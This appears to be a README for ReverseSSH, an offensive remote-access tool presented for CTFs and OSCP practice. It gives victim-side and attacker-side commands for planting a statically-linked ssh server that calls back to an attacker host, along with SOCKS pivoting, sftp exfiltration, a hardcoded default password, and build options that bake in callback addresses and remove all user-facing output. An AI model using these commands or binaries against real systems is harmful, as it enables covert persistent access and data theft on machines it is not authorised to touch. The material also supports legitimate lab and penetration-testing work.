Statically-linked ssh server with reverse shell functionality for CTFs and such
Statically-linked ssh server with reverse shell functionality for CTFs and such
A statically-linked ssh server with a reverse connection feature for simple yet powerful remote access. Most useful during HackTheBox challenges, CTFs or similar.
Has been developed and was extensively used during OSCP exam preparation.
Catching a reverse shell with netcat is cool, sure, but who hasn't accidentally closed a reverse shell with a keyboard interrupt due to muscle memory? Besides their fragility, such shells are also often missing convenience features such as fully interactive access, TAB-completion or history.
Instead, you can go the way to simply deploy the lightweight ssh server ( cmd`.
You can achieve full interactive shell access for older windows versions by dropping ssh-shellhost.exe from OpenSSH for Windows in the same directory as reverse-ssh and then use flag -s ssh-shellhost.exe.
This will pipe all traffic through ssh-shellhost.exe, which mimics a pty and transforms all virtual terminal codes such that windows can understand.
Simply executing the provided binaries only relies on golang system requirements.
In short:
Compiling additionally requires the following:
upx for compression (e.g. apt install upx-ucl)Once reverse-ssh is running on the victim, you can connect with any username and the default password letmeinbrudipls, the ssh key or whatever you specified during compilation.
After all, it is just an ssh server:
# Fully interactive shell access
$ ssh -p
# Simple command execution
$ ssh -p whoami
# Full-fledged file transfers
$ sftp -P
# Dynamic port forwarding as SOCKS proxy on port 9050
$ ssh -p -D 9050 # Victim
victim$ ./reverse-ssh
# Attacker (default password: letmeinbrudipls)
attacker$ ssh -p 31337 Note: you can compile ReverseSSH with parameters for LHOST and LPORT to ease execution on the target, see below
# On attacker (get ready to catch the incoming request;
# can be omitted if you already have an ssh daemon running, e.g. OpenSSH)
# NOTE: LPORT of 8888 collides with incoming connections; use the flag `-b 8889` or similar on the victim in that case
attacker$ ./reverse-ssh -v -l -p
# On victim
victim$ ./reverse-ssh -p
# or in case of an ssh daemon listening at port 22 with password authentication for user 'kali'
victim$ ./reverse-ssh -p 22 kali@
# On attacker (default password: letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# or with ssh config from below
attacker$ ssh targetIn the end it's plain ssh, so you could catch the remote port forwarding call coming from the victim's machine with your openssh daemon listening on port 22.
Just prepend @ and provide the password once asked to do so.
Dialling home currently is password only, because I didn't feel like baking a private key in there as well yet...
For even more convenience, add the following to your ~/.ssh/config, copy the ssh private key to ~/.ssh/ and simply call ssh target or sftp target afterwards:
Host target
Hostname 127.0.0.1
Port 8888
IdentityFile ~/.ssh/id_reverse-ssh
IdentitiesOnly yes
StrictHostKeyChecking no
UserKnownHostsFile /dev/null…Make sure to install the above requirements such as golang in a matching version and set it up correctly.
Afterwards, you can compile with make, which will create static binaries in bin.
Use make compressed to pack the binaries with upx to further reduce their size.
$ make
# or to additionally created binaries packed with upx
$ make compressedYou can also specify one or more of the following environmental variables when compiling to customize ReverseSSH to your use case:
RS_SHELL to change the default shellRS_PASS to provide your personalized passwordRS_PUB to provide your personalized an authorized keyLUSER to change the default username of the ssh connection attemptLHOST to provide a default LHOST value and make ReverseSSH default to the reverse scenarioLPORT to change the default listening port or port where an ssh connection attempt is sent toBPORT to change the default listening port of reverse connections on the attacker machine; 0 means any free port is takenNOCLI with any value removes all user-facing interaction (the binary ignores all supplied flags or arguments)$ ssh-keygen -t ed25519 -f id_reverse-ssh
$ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
$ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressedBy default, reverse-ssh is compiled for your current OS and architecture, as well as for linux and windows in x86 and x64.
To compile for other architectures or another OS you can provide environmental variables which match your target, e.g. for linux/arm64:
$ GOARCH=arm64 GOOS=linux make compressedA list of available targets in format OS/arch can be obtained via go tool dist list.
Is a mind-blowing feature missing? Anything not working as intended?
Create an issue or pull request!
No open issues yet, or sync has not completed.